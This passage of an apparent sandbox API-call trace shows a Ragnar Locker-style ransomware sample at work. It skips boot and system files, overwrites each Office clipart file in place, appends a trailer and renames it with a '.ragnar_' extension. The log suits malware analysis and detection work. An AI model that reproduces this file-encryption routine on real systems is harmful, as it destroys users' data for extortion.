VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.364] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.364] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.364] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.364] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.364] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.365] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.365] GetProcessHeap () returned 0x580000 [0088.365] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.365] CloseHandle (hObject=0xf4) returned 1 [0088.365] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" [0088.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ragnar_FD7BD9FC" [0088.365] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.365] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0088.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.366] lstrcpyW (in: lpString1=0x1eb62e, lpString2="MP00132_.WMF" | out: lpString1="MP00132_.WMF") returned="MP00132_.WMF" [0088.366] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF") returned=".WMF" [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="autorun.inf") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="boot.ini") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="bootfont.bin") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="bootsect.bak") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="bootmgr") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="bootmgr.efi") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="desktop.ini") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="iconcache.db") returned 1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="ntldr") returned -1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="ntuser.dat") returned -1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="ntuser.ini") returned -1 [0088.366] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="thumbs.db") returned -1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.366] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf")) returned 0x20 [0088.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.367] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4240) returned 1 [0088.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1087, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.367] GetProcessHeap () returned 0x580000 [0088.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.367] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.368] VirtualAlloc (lpAddress=0x0, dwSize=0x1090, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.369] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1090, lpOverlapped=0x0) returned 1 [0088.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.370] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1090, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.370] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1090, lpOverlapped=0x0) returned 1 [0088.370] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1090, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.370] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1090, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.370] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.370] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.370] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.370] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.370] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.370] GetProcessHeap () returned 0x580000 [0088.371] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.371] CloseHandle (hObject=0xf4) returned 1 [0088.371] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" [0088.371] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ragnar_FD7BD9FC" [0088.371] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.371] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0088.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.371] lstrcpyW (in: lpString1=0x1eb62e, lpString2="MP00646_.WMF" | out: lpString1="MP00646_.WMF") returned="MP00646_.WMF" [0088.371] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF") returned=".WMF" [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="autorun.inf") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="boot.ini") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="bootfont.bin") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="bootsect.bak") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="bootmgr") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="bootmgr.efi") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="desktop.ini") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="iconcache.db") returned 1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="ntldr") returned -1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="ntuser.dat") returned -1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="ntuser.ini") returned -1 [0088.372] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="thumbs.db") returned -1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.372] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf")) returned 0x20 [0088.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.373] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12770) returned 1 [0088.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.373] GetProcessHeap () returned 0x580000 [0088.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.373] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.374] VirtualAlloc (lpAddress=0x0, dwSize=0x31e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.375] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31e2, lpOverlapped=0x0) returned 1 [0088.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.376] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.376] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31e2, lpOverlapped=0x0) returned 1 [0088.376] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.376] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.376] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.377] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.377] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.377] GetProcessHeap () returned 0x580000 [0088.377] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.377] CloseHandle (hObject=0xf4) returned 1 [0088.377] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" [0088.377] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ragnar_FD7BD9FC" [0088.377] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.377] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0088.378] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.378] lstrcpyW (in: lpString1=0x1eb62e, lpString2="MUSIC_01.MID" | out: lpString1="MUSIC_01.MID") returned="MUSIC_01.MID" [0088.378] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned=".MID" [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="autorun.inf") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="boot.ini") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="bootfont.bin") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="bootsect.bak") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="bootmgr") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="bootmgr.efi") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="bootmgfw.efi") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="desktop.ini") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="iconcache.db") returned 1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="ntldr") returned -1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="ntuser.dat") returned -1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="ntuser.dat.log") returned -1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="ntuser.ini") returned -1 [0088.378] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="thumbs.db") returned -1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0088.378] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0088.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0088.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.379] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6880) returned 1 [0088.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ad7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.379] GetProcessHeap () returned 0x580000 [0088.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.379] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.381] VirtualAlloc (lpAddress=0x0, dwSize=0x1ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.381] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ae0, lpOverlapped=0x0) returned 1 [0088.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.382] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ae0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.382] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ae0, lpOverlapped=0x0) returned 1 [0088.382] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ae0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.382] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.382] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.383] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.383] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, 